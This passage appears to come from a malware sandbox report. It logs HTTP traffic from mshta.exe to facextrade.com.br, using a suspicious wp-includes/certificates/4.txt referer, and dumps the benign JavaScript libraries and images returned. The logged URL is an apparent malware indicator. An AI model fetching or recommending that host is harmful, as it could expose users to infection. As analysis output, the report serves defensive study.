6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nex
Aug 16, 2022 11:53:42.183890104 CEST	2604	OUT	GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:42.422404051 CEST	2608	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a534c0-228c-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 8844 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836722 15075475 Age: 209 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 Data Ascii: /* * Playlist Object for the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAnces

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49201	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:37.374214888 CEST	1413	OUT	GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:37.617542982 CEST	1429	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:10 GMT Server: Apache ETag: "a53864-d9abf-58592d61568c0" Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT Content-Length: 891583 Content-Type: image/jpeg Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766003 15075465 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA w8v-cC@ua_0wOg1H$
Aug 16, 2022 11:53:37.617703915 CEST	1430	IN	Data Raw: 3e 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b Data Ascii: >nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
Aug 16, 2022 11:53:37.617825985 CEST	1432	IN	Data Raw: 89 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77 Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT
Aug 16, 2022 11:53:37.617886066 CEST	1433	IN	Data Raw: 54 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 Data Ascii: T8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
Aug 16, 2022 11:53:37.618063927 CEST	1434	IN	Data Raw: 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
Aug 16, 2022 11:53:37.618119955 CEST	1436	IN	Data Raw: 16 d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d Data Ascii: SmW=G[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH\|:6Ctnv=N/NE'tN`V^we.ug>
Aug 16, 2022 11:53:37.618210077 CEST	1437	IN	Data Raw: a7 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1 Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVw
Aug 16, 2022 11:53:37.618267059 CEST	1438	IN	Data Raw: 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e Data Ascii: -ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xml
Aug 16, 2022 11:53:37.618391991 CEST	1440	IN	Data Raw: 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: DF> </x:xmpmeta>
Aug 16, 2022 11:53:37.618489981 CEST	1441	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Aug 16, 2022 11:53:37.853621006 CEST	1450	IN	Data Raw: 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
Aug 16, 2022 11:53:40.786145926 CEST	2438	OUT	GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.025796890 CEST	2454	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a53a5c-5e2-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 1506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766004 15075471 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
Aug 16, 2022 11:53:41.115097046 CEST	2458	OUT	GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.361618042 CEST	2459	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a53533-50bd-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 20669 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766006 15664936 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 